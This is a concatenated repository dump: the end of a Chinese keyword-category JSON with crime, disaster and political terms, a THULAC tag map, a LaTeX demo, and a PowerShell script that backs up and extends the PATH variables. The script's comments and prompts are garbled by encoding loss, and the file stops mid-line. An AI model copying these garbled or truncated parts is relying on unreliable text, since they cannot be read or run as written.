"海南", "万宁", "三亚", "东方", "临高", "五指山", "保亭", "儋州", "定安", "屯昌", "文昌", "昌江", "海口", "澄迈", "琼海", "陵水", "三沙", "白沙", "乐东", "琼中", "宁夏", "中卫", "吴忠", "固原", "石嘴山", "银川", "重庆", "万州", "万盛", "丰都", "云阳", "北碚", "合川", "大足", "奉节", "巫山县", "巴南", "忠县", "梁平", "武隆", "永川", "江北", "江津", "沙坪坝", "涪陵", "渝中", "渝北", "綦江", "铜梁", "长寿区", "大渡口", "九龙坡", "南岸", "潼南", "黔江", "荣昌", "璧山", "城口", "垫江", "开县", "巫溪", "石柱", "秀山", "酉阳", "彭水", "南川", "双桥", "江西", "上饶", "九江", "南昌", "吉安", "宜春", "抚州", "新余", "景德镇", "萍乡", "赣州", "鹰潭", "云南省", "临沧", "丽江", "保山", "大理", "德宏", "怒江", "文山", "昆明", "昭通", "普洱", "曲靖", "楚雄", "玉溪", "红河", "西双版纳", "迪庆", "广西", "北海", "南宁", "崇左", "来宾", "柳州", "桂林", "梧州", "河池", "玉林", "百色", "贵港", "贺州", "钦州", "防城港", "北京市", "北京站", "东城", "丰台", "北京", "大兴", "密云", "朝阳", "海淀", "石景山", "西城", "通州", "顺义", "门头沟", "房山", "昌平", "怀柔", "平谷", "延庆", "甘肃", "临夏", "兰州", "嘉峪关", "天水", "定西", "平凉", "庆阳", "张掖", "武威", "甘南", "白银", "酒泉", "金昌", "陇南", "陕西", "咸阳", "商洛", "安康", "宝鸡", "延安", "榆林", "汉中", "渭南", "西安", "铜川", "内蒙古", "乌兰察布", "乌海", "兴安", "包头", "呼伦贝尔", "呼和浩特", "巴彦淖尔", "赤峰", "通辽", "鄂尔多斯", "锡林郭勒", "阿拉善", "山东", "东营", "临沂", "威海", "德州", "日照", "枣庄", "泰安", "济南", "济宁", "淄博", "滨州", "潍坊", "烟台", "聊城", "莱芜", "菏泽", "青岛", "浙江", "丽水", "台州", "嘉兴", "宁波", "杭州", "温州", "湖州", "绍兴", "舟山", "衢州", "金华", "青海", "海东", "海北", "海西", "西宁", "黄南", "果洛", "玉树", "辽宁", "丹东", "大连", "抚顺", "本溪", "沈阳", "盘锦", "营口", "葫芦岛", "辽阳", "铁岭", "锦州", "阜新", "鞍山", "天津", "河东", "河西", "津南", "滨海", "红桥", "蓟县", "静海", "西青", "北辰", "宁河", "东丽", "南开", "和平", "宝坻区", "武清区", "黑龙江", "七台河", "伊春", "佳木斯", "双鸭山", "哈尔滨", "大兴安岭", "大庆", "牡丹江", "绥化", "鸡西", "鹤岗", "黑河", "齐齐哈尔", "山西", "临汾", "吕梁", "大同", "太原", "忻州", "晋中", "晋城", "朔州", "运城", "长治", "阳泉", "分配", "纵火", "偷窃", "持刀", "打劫", "性侵", "下流", "产权", "猥亵", "涉事", "民房", "要挟", "涉政", "侵吞", "工房", "头部", "颈部", "胸部", "腹部", "臀部", "腰部", "转让", "摊位", "医患", "每斤", "奥秘", "患者", "父子", "暴雪", "暴雨", "大雨", "香港", "广场舞", "广场", "病人", "医生", "医闹", "厂房", "收割", "父女", "鱼刺", "卡喉", "组建", "过世", "过时", "署名", "过期", "诬告", "捏造", "烟酒", "组团", "罚金", "落水", "村民", "案件", "开除", "员工", "溺亡", "过户", "户口", "户籍", "仓库", "仓", "民工", "纠缠", "客轮", "追债", "威胁", "超标", "该罚", "烈士", "建立", "贫困", "贫", "深夜", "孤身", "破口", "公证", "异物", "遗物", "洗钱", "危害", "遗照", "泄漏", "监狱", "违规", "合规", "借贷", "贷款", "纹身", "施工", "修路", "抢修", "助学", "高利贷", "拘留", "行政", "处罚", "刑事", "犯人", "关押", "泄露", "政策", "三和", "五和", "法院", "法庭", "捐献", "资助", "自助", "信息", "天价", "入境", "出境", "扫黄", "打非", "赌债", "集体", "隐私", "教师", "辅导员", "坠落", "整容", "房子", "整形", "整骨", "母女", "母子", "不雅", "辅导", "名表", "逃债", "涉及", "全国", "生前", "放纵", "悼念", "治安", "合法", "改装", "放火", "村霸", "楼霸", "老师", "流落", "洗稿", "刺客", "江歌案", "嫖娼", "误入", "吸毒", "争执", "作恶", "死", "口角", "保洁", "误杀", "误伤", "色鬼", "清华大学", "北京大学", "伤", "泥石流", "受灾", "冰灾", "洪灾", "讲述", "局长", "危及", "虚假", "庄稼", "摊主", "厅长", "差生", "周年", "尖子生", "农管", "宰客", "宰猪", "宣传", "阴道", "阴部", "卵巢", "受精", "发车", "钟点", "钟点工", "缓刑", "截肢", "区长", "省长", "检察长", "博览", "军长", "女权", "男权", "本科", "专科", "求职", "招生", "气功", "扩招", "央企", "风能", "水能", "电能", "煤气", "太阳能", "灶", "国企", "恒大", "航空", "知名", "姐弟", "坠亡", "铁路", "强制", "措施", "熬夜", "高铁", "火车", "民警", "社保", "个人", "违禁", "祭奠", "紧迫", "击毙", "刺杀", "抢劫", "砍死", "杀人", "杀人案", "砍人", "烧伤", "凶杀案", "凶手", "嫌犯", "罪犯", "犯罪", "歹徒", "执法", "边界", "租房", "中介", "警方", "人员", "断亲", "晚点", "飞机", "交警", "潮汕", "承认", "禁品", "腰斩", "国庆", "蛇肉", "猴脑", "五一", "车祸", "坠楼", "爆炸", "火灾", "地震", "拜金", "去世", "厘清", "被执行", "住建局", "沦为", "无罪", "驾驶", "逃逸", "驶入", "条子", "免罚", "军痞", "痞子", "痞", "地痞", "溜子", "街溜子", "精神小伙", "适用", "公安", "公职", "确诊", "正当", "解封", "杀害", "误触", "误碰", "失业", "误吞", "失踪", "遇害", "被害", "遇难", "脱险", "PTSD", "后遗症", "夜生活", "小区", "银行", "合理", "冻结", "中小学", "商业广告", "重大", "教授", "网暴", "检举", "野生", "招聘", "编制", "吞食", "落户", "打架", "斗殴", "和解", "出没", "追砍", "会羡慕", "一夜", "否认", "逼近", "植入", "通报", "批评", "开庭", "坐牢", "研究生", "博士", "伤害", "残忍", "最高法", "护士节", "男子", "女子", "老人", "小孩", "业主", "居委会", "物业", "九寨沟", "土匪", "悍匪", "高空", "扔狗", "抛物", "动手", "店家", "警局", "断绝", "碎尸", "无名", "教育", "毒打", "元旦", "惨痛", "法典", "牙齿", "车位", "清瘟", "辟谣", "宣判", "官方通报", "未收到赔偿", "称不排除", "矛盾升级", "申请强执", "女大学生", "被判赔", "违停", "纠纷", "受辱", "挑断", "举报", "牙医", "霸占", "布洛芬", "当事双方", "交管", "总额已近", "跌破", "归还", "涨停", "视频曝光", "进驻", "吸脂", "抽血", "抽样", "抽脂", "诈骗", "缅北", "柬埔寨", "东南亚", "黑马", "媒体", "金饰", "黄金", "油箱", "社会", "推销", "住房", "传销", "割肾", "割手", "割去", "被割", "割脚", "割头", "削头", "削手", "削脚", "砍手", "砍脚", "砍头", "低俗", "不孝", "痴汉", "离谱", "奸杀", "奸夫", "淫妇", "色狼", "含冤", "错案", "实名", "幼儿", "挑逗", "片仔癀", "癀", "金条", "猪肉", "牛肉", "蔬菜", "房价", "非法", "集资", "黄赌毒", "淫秽", "色情", "司法部", "被取消", "淫乱", "入狱", "特招", "空难", "幼小", "不慎", "雪灾", "律师", "西湖", "报复", "罗翔", "董事", "公交", "副总", "生育", "伸张", "特供", "毒蛇", "经理", "512", "巨款", "负责", "天网", "自毁", "偷税", "替考", "代考", "航班", "午睡", "门票", "这届", "为了", "外卖", "人口", "出生率", "就业", "弑夫", "读书", "空轨", "择校", "补贴", "新能源", "城乡", "建设", "承担", "行凶", "冤假", "漏税", "代招", "浮冰", "抗原", "核酸", "长租", "曝雷", "发声", "却费", "意义", "发育", "成本", "长假", "卖淫", "补班", "弑母", "调休", "工资", "酒托", "敬酒", "陪酒", "婚闹", "大妈", "名媛", "猪手", "未遂", "依法", "活埋", "直招", "性虐", "难求", "金手镯", "咨询", "出游", "高烧", "努力", "躺平", "佛系", "死角", "万科", "城中村", "老赖", "征信", "疯抢", "抢光", "一空", "医保", "待业", "聚众", "拍卖", "落网", "被查", "纳税", "爆胎", "泛滥", "大力", "多年", "失散", "失联", "消防", "打砸抢", "殴打", "判刑", "通缉", "市长", "院长", "校长", "村长", "县长", "新冠", "三胎", "毒死", "闯入", "所得税", "执照", "流行", "留学生", "打工", "微信", "虐猫", "上岗", "枪", "绑架", "持枪", "秒空", "售", "霸", "骑手", "万元", "亿元", "河内", "一胎", "二胎", "多胎", "逝世", "押运", "闯红灯", "中暑", "多万", "过亿", "妨碍", "当事", "乘客", "司机", "网约", "网恋", "奔现", "统计局", "普查", "遛狗", "手淫", "咬伤", "事故", "失明", "中毒", "下毒", "恶毒", "偷猎", "酒驾", "跳楼", "手续", "办理", "最美", "环卫", "餐饮", "炒地", "炒股", "地皮", "实体", "实业", "实干", "喜茶", "自慰", "奈雪", "蜜雪冰城", "音乐家", "指挥家", "作家", "网文", "炒作", "违法", "惨不忍睹", "酒后驾驶", "冻死", "买房", "躲避", "搜查", "查处", "公布", "全省", "烟草", "药物", "堕胎", "病毒", "冰毒", "大麻", "可卡因", "海洛因", "毒品", "缴获", "偷渡", "歹毒", "拘禁", "世事", "狩猎", "校方", "不治", "追查", "事件", "进展", "民心", "全力", "暴乱", "踩踏", "死亡", "自杀", "袭警", "黑人", "白人", "松口", "种牙", "门诊", "黄牛", "碾压", "投毒", "人间", "少管所", "女婴", "男婴", "听证会", "致死", "路人", "砸中", "脱逃", "尾随", "崩溃", "暴力", "校园", "欺凌", "霸凌", "脱衣", "掌掴", "高中生", "摆摊", "景点", "人人人", "导游", "拥堵", "公诉", "身亡", "袭胸", "养老", "敬老院", "看守所", "婴儿", "交通", "粮食", "人群", "预计", "估计", "伤势", "救援", "大雪", "大风", "冰雹", "同城", "特大", "预警", "沙尘", "雾霾", "高温", "最热", "空调", "停电", "干旱", "曹操", "官窑", "撞死", "施虐", "亲戚", "孕妇", "自残", "救灾", "抢险", "物资", "居民", "街道", "动荡", "治理", "黄河", "长江", "洞庭湖", "流感", "塌方", "被埋", "窒息", "三口", "轮奸", "打砸", "砍断", "被撞", "无辜", "虐待", "邻居", "让座", "喜马拉雅", "枪击", "裸照", "北川", "行驶", "骑乘", "巡逻", "被捕", "前妻", "逃过", "事发", "核实", "出版社", "记者", "癌", "过劳", "卧轨", "器官", "抽打", "街景", "外包", "绝食", "侵犯", "自闭", "离校", "逃学", "抑郁", "致残", "残废", "地沟", "积水", "井盖", "高压", "服务", "集会", "大规模", "焊死", "子宫", "自宫", "性偶", "腐烂", "施暴", "畏罪", "小弟", "冰山", "教养", "素养", "制造业", "双腿", "双手", "道歉", "警报", "便宜", "进口", "破产", "备考", "学子", "透露", "退休", "山体", "滑坡", "心狠", "恶狠", "恶臭", "在逃", "马仔", "交配", "共青团", "园区", "百分点", "全年", "季度", "围挡", "地方", "监控", "网格员", "高校", "学院", "外借", "考公", "国考", "人头", "尸臭", "受虐", "自首", "法官", "独木桥", "千军万马", "比尔·盖茨", "比尔盖茨", "对话", "首例", "洲际", "工信部", "稳定器", "车手", "货拉拉", "飞车", "快递", "被欺", "肢解", "踩断", "分期", "跨省", "无头", "腐臭", "越狱", "黑厂", "禁毒", "摩托", "当事人", "被害人", "强奸", "家属", "争夺", "财产", "遗产", "上诉", "帮凶", "烧烤", "女性", "劳动", "合同", "解除", "赔偿", "猛踢", "飞踹", "追捕", "赝品", "服刑", "黑产", "调查", "沃尔玛", "山姆", "超市", "小伙", "功德箱", "老大", "黑老大", "女尸", "男尸", "海底捞", "偷倒", "摸胸", "抢救", "医治", "心梗", "脑血栓", "盗窃", "翻供", "假货", "受孕", "群殴", "缉拿", "灰厂", "金价", "楼扔", "卡拉OK", "歌舞厅", "口罩", "扣押", "网吧", "酒吧", "楼丢", "起诉", "万元课", "捡垃圾", "下跪", "求饶", "外国人", "猥琐", "面试", "公寓", "护士", "幼师", "洗脑", "信用卡", "法网", "人工", "黑社会", "打印", "打骂", "体罚", "防卫", "不便", "重阳", "中秋", "展示", "女童", "力竭", "报警", "小哥", "拽回", "拉扯", "厮打", "茶颜悦色", "12306", "平冤", "烟厂", "侍养", "古惑仔", "仇杀", "大V", "老鼠", "鼠患", "蝗虫", "蝗灾", "飞蚁", "蚁患", "蚂灾", "白蚁", "强暴", "局面", "失控", "遭拘", "还手", "拐卖", "教唆", "空城", "空巢", "鬼城", "客运", "客流", "唆使", "惯犯", "留守", "拐骗", "案底", "迷药", "伟哥", "催情", "躲债", "精油", "险境", "大学", "垂危", "移民", "一站式", "服侍", "起火", "情杀", "青少年", "中年", "大学生", "市民", "财政", "人脉", "医学", "市中心", "经济", "损失", "交代", "围殴", "发售", "赌场", "雪崩", "处分", "产量", "累计", "浪费", "怀孕", "教育部", "疾控", "变态", "缉毒", "刑侦", "追回", "被判", "药监局", "汪曾祺", "不实", "虐杀", "属实", "命案", "父母", "农户", "实习", "医院", "学校", "企业", "代工", "临时工", "建筑", "耗材", "钢铁", "风力", "水利", "水力", "大坝", "家禽", "商家", "清除", "虎门", "编造", "公交站", "机场", "列车", "轮船", "船运", "渔业", "沿海", "停靠", "旅舍", "旅社", "潜逃", "走读", "寄宿", "复读", "挂科", "择业", "祥子", "阿Q", "孔乙己", "强行", "联手", "蜜蜂", "江歌", "市监局", "官方", "证实", "案中案", "麻将", "传染", "二阳", "复阳", "胁迫", "立案", "敏感", "触碰", "过失", "寻人", "寻亲", "走丢", "走失", "骚扰", "电信", "白菜", "消协", "暴雷", "211", "离职", "农民", "顾客", "不满", "老夫", "老妻", "丧生", "风险", "大爷", "小车", "殒命", "丧命", "乱伦", "失身", "散失", "烧杀", "厕所", "脚踩", "恋童", "禁锢", "人身", "人性", "抢空", "隐患", "繁育", "985", "腰子", "卖血", "卖肾", "头皮", "断脚", "断手", "切断", "戳瞎", "刺穿", "贯穿", "祭祖", "管制", "小贩", "城管", "下体", "公务员", "电瓶", "共享", "男性", "售窑", "售空", "售罄", "洒落", "售缶", "排班", "慈善", "常青藤", "呕吐", "常春藤", "C9", "防汛", "交友", "驴友", "陌陌", "脉脉", "摇一摇", "艾滋", "埃博拉", "账户", "师范", "师表", "迷晕", "拐走", "收费", "免费", "青年", "学生", "上岸", "医疗", "验证", "现象", "出租", "失眠", "焦虑", "心理", "甲流", "汽油", "石油", "致命", "月薪", "年薪", "日薪", "女友", "男友", "儿童", "男童", "女童", "女工", "甲方", "乙方", "童工", "男方", "女方", "男", "女", "标准", "教程", "教材", "教育" ], "时政": [ "民主", "七七", "中华", "九一八", "打虎", "纪实", "卢沟桥", "提拔", "孙中山", "刊文", "任命", "灾民", "广电总局", "广电", "总局", "医改", "军队", "狼牙山", "黄继光", "董存瑞", "体系", "央视", "态势", "成就", "落马", "委任", "民众", "先烈", "委", "东道主", "表决", "军委", "推动", "成果", "干劲", "富裕", "支部", "扶贫", "精准", "瞩目", "村支书", "团委", "留任", "政委", "区委", "市委", "省委", "蒋介石", "锦绣", "命运", "李宗仁", "锦盛", "生机", "繁华", "勃勃", "赞成", "申办", "反对", "送检", "双开", "挪用", "事变", "公款", "巨贪", "政治", "丝路", "风采", "神采", "盛世", "飞扬", "激荡", "志愿", "实践", "感悟", "践悟", "义工", "电力", "激昂", "新动能", "动能", "昂首", "井冈山", "建军节", "八一", "奏响", "高歌", "唱响", "受贿", "悲哀", "团课", "底气", "军工", "致信", "力量", "时评", "贪腐", "致辞", "信访", "情絮", "读懂", "举行", "庆典", "致词", "强调", "制裁", "离境", "整治", "清朗", "净网", "烂梗", "中方", "峰会", "离华", "新中国", "骄傲", "主席", "总统", "总理", "印发", "破冰", "邪教", "高光", "执政", "谴责", "阅兵", "武装", "全过程", "政府", "重要", "诞辰", "华诞", "亮点", "召开", "丰硕", "硕果", "考察", "华春莹", "发言人", "针对", "两会", "改革", "秘书长", "债务违约", "天河", "行舟", "孟晚舟", "马克思", "列宁", "马列", "国情", "咨文", "习近平", "拜登", "特朗普", "常委", "外交人员", "实施", "航母", "天际", "翱翔", "北上", "广深", "北上广深", "北上广", "京港", "国策", "逐鹿", "伦敦", "华盛顿", "选举", "国防", "战机", "核潜艇", "核威胁", "核电站", "舰", "无人机", "读书日", "高质量", "璀璨", "树新风", "宪法", "问鼎", "观测站", "新时代", "社会主义", "金融危机", "难度大", "落实", "筑牢", "党委", "中方要求", "大国", "大事", "利好", "统筹", "援助", "国宴", "灿烂", "思想", "特使", "称霸", "验收", "军演", "海上", "访华", "访美", "会见", "博鳌", "暨", "靖国", "首相", "共产党", "民进党", "国民党", "共和党", "腾飞", "磨灭", "永不", "工党", "社会党", "工会", "游行", "纪检委", "大会", "国务院", "捍卫", "不动摇", "决心", "这一代", "慰安妇", "希望", "开启", "共创", "贯彻", "公共", "运筹帷幄", "祖国", "国标", "基建", "推进", "神州", "深化", "奋斗", "使命", "牢记", "初心", "复兴", "伟大", "烟火", "解放军", "坦克", "联试", "攻克", "壮志凌云", "信念", "铭记", "坚守", "驳斥", "卫国", "普京", "拜会", "天皇", "历史", "公祭", "热心", "神韵", "发改委", "一线", "二线", "三线", "四五线", "群众", "汶川", "壮志", "大器", "代表团", "大使", "进出口", "主权", "争端", "崛起", "我的国", "我国", "人心", "干部", "高举", "巡礼", "土地", "矗立", "慷慨", "迸发", "春潮", "习语", "一习话", "习言道", "发展观", "瞭望", "民族", "回击", "有力", "泄密", "境外", "西方", "国产", "峥嵘", "千山", "青山", "煤炭", "检方", "人大", "振兴", "日韩", "专题", "社区", "共进", "共同", "市级", "文明", "村生活", "小康", "国会", "五四", "同志", "指控", "议会", "出击", "被问", "雷锋", "港区", "封锁", "力度", "政协", "文职", "海军", "空军", "空演", "警告", "雇佣兵", "梦想", "建交", "断交", "人民", "敬畏", "讲话", "就是", "实弹", "乡村", "城镇", "模范", "楷模", "国粹", "教化", "神社", "下贱", "捉奸", "做贱", "作贱", "战犯", "掌声", "瑰丽", "长三角", "珠三角", "粤港", "湾区", "战场", "先锋", "意蕴", "家乡", "乡土", "护卫", "强军", "温情", "军营", "尖兵", "军旅", "格局", "米格", "歼-", "价值观", "红领巾", "文创", "落地", "座谈", "喜人", "下坡路", "现代化", "壮丽", "同心", "共筑", "中国梦", "突破", "重返", "专访", "尽显", "优势", "显著", "凝聚", "体制", "李大钊", "活跃在", "摘下", "传承", "下基层", "书记", "赋能", "拓展", "古村", "溯源", "主力军", "监管", "政权", "中央", "纪录片", "新赛道", "逆流", "方针", "方阵", "民调", "攻坚", "一致", "同意", "一刀切", "重磅", "微视频", "欧洲", "强烈抗议", "广电", "网信办", "商务部", "油田", "豪情", "政党", "新设", "瑞士", "印尼", "新高", "国内", "国家安全", "方队", "前总理", "苏联", "丰收", "环节", "禁售", "巴基斯坦", "英雄", "男儿", "英姿飒爽", "局势", "一带一路", "党政", "剑拔弩张", "一促即发", "箭在弦上", "利箭", "猎狐", "反腐", "红色记忆", "红色基因", "旗帜", "光芒", "大地", "照耀", "扛起", "喉舌", "丝绸之路", "谱写", "新篇章", "党员", "恰同学", "毛泽东", "艰坚", "沁园春", "贡献", "艰苦", "卓绝", "百策", "载梦", "准备就绪", "历史学家", "万人说", "肩负", "欣欣向荣", "关税", "走访", "弄丢相机", "顺利找回", "新进展", "强国", "榜样", "学雷锋", "道德之光", "新记录", "殊荣", "快车道", "弯道超车", "绿营", "最短命", "稳扎稳打", "图强", "向上", "挑衅", "违纪", "和谐", "富强", "亚太", "欧亚", "北美", "南极", "七子之歌", "东方之珠", "五千年", "维和", "新征程", "号召", "洒热血", "有变化", "讽刺", "民生", "安定", "全民", "警民", "建设兵团", "任免", "召见", "生化", "披露", "纪委", "赞比亚", "中纪委", "卢旺达", "导弹", "天舟", "正气", "纪律", "守法", "先进", "任重", "道远", "长征", "连任", "缘何", "好样", "抗疫", "情暖", "公平", "正义", "团结", "繁荣", "变局", "惊涛", "巨涌", "党", "政", "孝悌", "地球村", "缅怀", "文件", "谋", "寻机遇", "共合作", "反华", "脱钩", "表态", "督导", "美军", "枢纽", "劳模", "聆听", "见微知著", "感动", "支书", "确切", "深切", "履新", "强劲", "新方位", "绿色", "环保", "卫健委", "新闻联播", "实实在在", "塑料", "菜篮子", "粮绝", "篮子", "一揽子", "揽子", "老百姓", "兴邦", "争先", "互惠", "协会", "统一", "组合拳", "数字经济", "助力", "强引擎", "强心针", "心针", "定心剂", "定心", "数字零售", "再升级", "安全", "我们", "故事", "风貌", "慰问", "共创美好", "新村", "新政", "新区", "辉煌", "人道", "世界级", "统战", "时刻准备着", "各级", "把关", "新装备", "治沙", "植树", "使命必达", "拟购", "重拳出击", "掏心窝", "同甘共苦", "共患难", "肩并肩", "撸起袖子加油干", "正确的道路", "中国传统", "弘扬", "大步向前", "奋起直追", "勇往直前", "深厚", "友谊", "情谊", "心连心", "闪耀", "雄心壮举", "耀眼", "贸易壁垒", "无私奉献", "务实", "新成就", "旅发", "圆满", "情系", "星海", "微光", "铁拳", "自强不息", "王沪宁", "李强", "李克强", "韩正", "部级", "中国国民党", "国民", "中美关系", "禁止驶入", "儒家", "孔子", "道德", "法治", "巾帼", "女兵", "清零", "人民日报", "挖井", "燎原", "浩劫", "展望", "绿水", "颠覆", "拥护", "拥戴", "反党", "调任", "原任", "爱党", "反政府", "封建", "恶俗", "糟粕", "宗教", "道教", "佛教", "痛心", "哀悼", "默哀", "应征" ] } ================================================ FILE: d-json/thulac_wd_attr_cn.json ================================================ { "n": ["名词"], "np": ["人名"], "ns": ["地名"], "ni": ["机构名"], "nz": ["其他专名"], "m": ["数词"], "q": ["量词"], "mq": ["数量词"], "t": ["时间词"], "f": ["方位词"], "s": ["处所词"], "v": ["动词"], "vm": ["能愿动词"], "vd": ["趋向动词"], "a": ["形容词"], "d": ["副词"], "h": ["前接成分"], "k": ["后接成分"], "i": ["习语"], "j": ["简称"], "r": ["代词"], "c": ["连词"], "p": ["介词"], "u": ["助词"], "y": ["语气助词"], "e": ["叹词"], "o": ["拟声词"], "g": ["语素"], "w": ["标点"], "x": ["其他"] } ================================================ FILE: d-latex/figures/readme.txt ================================================ pic ================================================ FILE: d-latex/latexdemo.tex ================================================ \documentclass{article} \usepackage{CJKutf8} \usepackage{graphicx} \usepackage{subfigure} \usepackage{listings} \usepackage[colorlinks,linkcolor=blue]{hyperref} \usepackage{ulem} \usepackage{xcolor} \usepackage{caption2} \usepackage{amssymb} \title{Latex Demo} \author{hoochanlon} \date{\today} \begin{document} \begin{CJK*}{UTF8}{gbsn} \maketitle \tableofcontents % 强制分隔新起一页 \clearpage \section*{测试:* 表示不带编号的部分} lorem ipsum dolor sit amet, consectetuer adipiscing elit.Ut purus elit,vestibulum ut, placerat ac, adipiscing vitae,felis. Curabitur dictum gravida mauris.lorem ipsum dolor sit amet, consectetuer,lorem i psum dolor sit amet, consectetuer adipiscing elit.Ut purus elit,vestibulum ut, placerat ac. 回车两次代表换行,以及测试效果。 \setlength{\parskip}{1em} 看看 \verb| \setlength{\parskip}{1em} | 设置间距的效果。\\ \\ 两个 \verb| \\ | 代表换行,以及测试效果。 \\ 这是一条直线:\hrulefill \\ 这是一条虚线:\dotfill 说明文字部分,设置文字链接: \href{http://www.baidu.com/}{百度}。另外,换行文字对齐问题: 测试效果 \par 效果测试\par \begin{flushleft} 现在开始,可通过 \verb| begin{flushleft} | 进行控制。 \par 图片可用 \verb| \ref{teaser} | 进行关联,如:图:\ref{teaser}所示。有关emoji,需要lualatex环境的支持。 \begin{enumerate} \item CJKutf8:使得可以在LaTeX中直接输入中文,提供对中文的支持。 \item graphicx:提供了插入图片的功能。 \item subfigure:提供了创建并管理子图的功能,可以在一个浮动环境中插入多个子图,并进行编号和引用。 \item listings:用于在LaTeX中排版源代码,提供了一套灵活的排版设置,可以高亮显示不同编程语言的关键字和语法。 \item hyperref:用于添加超链接和书签,可以生成可点击的链接,如网址、目录等。 \item ulem:提供了一系列修饰文本的命令,如下划线、波浪线、删除线等。 \item xcolor:扩展了颜色的功能,提供了更多的颜色模型和定义颜色的方式。 \item caption2:修改和自定义标题的样式,如字体、间距等。 \item amssymb:提供了一系列额外的数学符号,如各种数学字体、特殊符号等。 \end{enumerate} \end{flushleft} \clearpage \section{插入图片} 这里插入一张网络图片:h: here; t: top; b: bottom; p: page of float。 \renewcommand{\figurename}{图} % 将图表的标题设置为中文“图” \begin{figure}[htbp] \centering \subfigure[场景1]{ \includegraphics[width=0.4\textwidth]{./figures/teaser.jpg} \label{teaser} } \subfigure[场景2]{ \includegraphics[width=0.4\textwidth]{./figures/teaser.jpg} } \centering \includegraphics[width=0.6\textwidth]{./figures/teaser.jpg} \caption{这是图片} \end{figure} % 设置标题与图片之间的间距为10pt \begin{figure}[htbp] \centering \includegraphics[width=0.6\textwidth]{./figures/teaser.jpg} \caption{这是图片的标题} \end{figure} \clearpage \section{字体样式} \setlength{\parskip}{1em} \subsection{第一小节} \begin{flushleft} 文字样式:粗体、下划线、删除线、上标、下标、脚注 \textbf{粗体文本} ~ \textmd{中等粗细} \par \uline{下划线文本} ~ \sout{删除线文本} \par $x^2$ 上标 ~ $H_2O$ 下标 \par 这是一个带有脚注的句子。\footnote{这是脚注的内容。} 还可以在同一个段落中添加多个脚注。\footnote{第一个脚注。} \footnote{第二个脚注。} \subsection{字体大小、颜色、背景色} \Large 这是大号字体文本 \par 设置的同时也会造成局部影响。\par \normalsize 这是正常大小字体文本 \par \textsf{无衬线字体} \textcolor{blue}{蓝色文本} \par \texttt{等宽字体} \colorbox{yellow}{黄色背景的文本} \par \end{flushleft} \clearpage \section{数学与希腊符号表} \begin{flushleft} $\alpha$ 可以输入 \verb | $\alpha$ | 生成希腊字母,以此类推。 \par $\int$ 可以输入 \verb | $\int$ | 生成积分符号。 \par $\sum$ 可以输入 \verb | $\sum$ | 生成求和符号。 \par $\prod$ 可以输入 \verb | $\prod$ | 生成乘积符号。 \par $\lim$ 可以输入 \verb | $\lim$ | 生成极限符号。 \par $\infty$ 可以输入 \verb | $\infty$ | 生成无穷符号。 \par $\partial$ 可以输入 \verb | $\partial$ | 生成偏微分符号。 \par $\nabla$ 可以输入 \verb | $\nabla$ | 生成 nabla 符号。 \par $\forall$ 可以输入 \verb | $\forall$ | 生成全称量词符号。 \par $\exists$ 可以输入 \verb | $\exists$ | 生成存在量词符号。 \par $\neg$ 可以输入 \verb | $\neg$ | 生成非逻辑符号。 \par $\in$ 可以输入 \verb | $\in$ | 生成属于符号。 \par $\notin$ 可以输入 \verb | $\notin$ | 生成不属于符号。 \par $\subset$ 可以输入 \verb | $\subset$ | 生成真子集符号。 \par $\subseteq$ 可以输入 \verb | $\subseteq$ | 生成子集符号。 \par $\cup$ 可以输入 \verb | $\cup$ | 生成并集符号。 \par $\cap$ 可以输入 \verb | $\cap$ | 生成交集符号。 \par $\Rightarrow$ 可以输入 \verb | $\Rightarrow$ | 生成蕴含符号。 \par $\Leftrightarrow$ 可以输入 \verb | $\Leftrightarrow$ | 生成等价符号。 \par $\to$ 可以输入 \verb | $\to$ | 生成箭头符号。 \par $\mapsto$ 可以输入 \verb | $\mapsto$ | 生成映射符号。 \par $\sim$ 可以输入 \verb | $\sim$ | 生成相似符号。 \par $\simeq$ 可以输入 \verb | $\simeq$ | 生成近似符号。 \par $\approx$ 可以输入 \verb | $\approx$ | 生成约等于符号。 \par $\neq$ 可以输入 \verb | $\neq$ | 生成不等于符号。 \par $\equiv$ 可以输入 \verb | $\equiv$ | 生成恒等符号。 \par $\leq$ 可以输入 \verb | $\leq$ | 生成小于等于符号。 \par $\geq$ 可以输入 \verb | $\geq$ | 生成大于等于符号。 \par $\pm$ 可以输入 \verb | $\pm$ | 生成正负号。 \par $\times$ 可以输入 \verb | $\times$ | 生成乘号。 \par $\div$ 可以输入 \verb | $\div$ | 生成除号。 \par $\cdot$ 可以输入 \verb | $\cdot$ | 生成点乘符号。 \par $\circ$ 可以输入 \verb | $\circ$ | 生成圆圈符号。 \par $\perp$ 可以输入 \verb | $\perp$ | 生成垂直符号。 \par $\parallel$ 可以输入 \verb | $\parallel$ | 生成平行符号。 \par $\angle$ 可以输入 \verb | $\angle$ | 生成角符号。 \par $\triangle$ 可以输入 \verb | $\triangle$ | 生成三角符号。 \par 由于 $a = b$,$\because a + c = b + c$。\\ 所以,$\therefore a + c$ 等于 $b + c$。 \end{flushleft} \end{CJK*} \end{document} ================================================ FILE: d-pwsh/add_env_path.ps1 ================================================ # û· $newPath = Read-Host "Ҫӵ·" # ȡ· $desktopPath = [Environment]::GetFolderPath("Desktop") # ݵǰû PATH ıļ $currentUserPath = [Environment]::GetEnvironmentVariable("PATH", "User") $currentUserPath | Out-File -FilePath "$desktopPath\user_path_backup.txt" # ·ڵǰû PATH У· if ($currentUserPath -notlike "*$newPath*") { $currentUserPath += ";$newPath" [Environment]::SetEnvironmentVariable("PATH", $currentUserPath, [System.EnvironmentVariableTarget]::User) } # ݼ PATH ıļ $systemPath = [Environment]::GetEnvironmentVariable("PATH", "Machine") $systemPath | Out-File -FilePath "$desktopPath\system_path_backup.txt" # ·ڼ PATH У· if ($systemPath -notlike "*$newPath*") { $systemPath += ";$newPath" [Environment]::SetEnvironmentVariable("PATH", $systemPath, [System.EnvironmentVariableTarget]::Machine) } # ʾ޸ Write-Host "޸" Write-Host "û user_path_backup.txt ļ" Write-Host "ϵͳ system_path_backup.txt ļ" Write-Host `n; # ʾ޸ĺ PATH Write-Host "޸ĺļ PATH " [Environment]::GetEnvironmentVariable("PATH", "Machine") Write-Host `n; Write-Host "޸ĺû PATH " [Environment]::GetEnvironmentVariable("PATH", "User") # ------------------------ batch --------------------------------- # @echo off # REM ʾû· # set /p newPath=Ҫӵ· # REM ȡ· # set "desktopPath=%userprofile%\Desktop" # REM ݵǰû PATH ıļ # powershell -Command "[Environment]::GetEnvironmentVariable('PATH', 'User')" > "%desktopPath%\user_path_backup.txt" # REM ·ڵǰû PATH У· # powershell -Command "$currentUserPath = 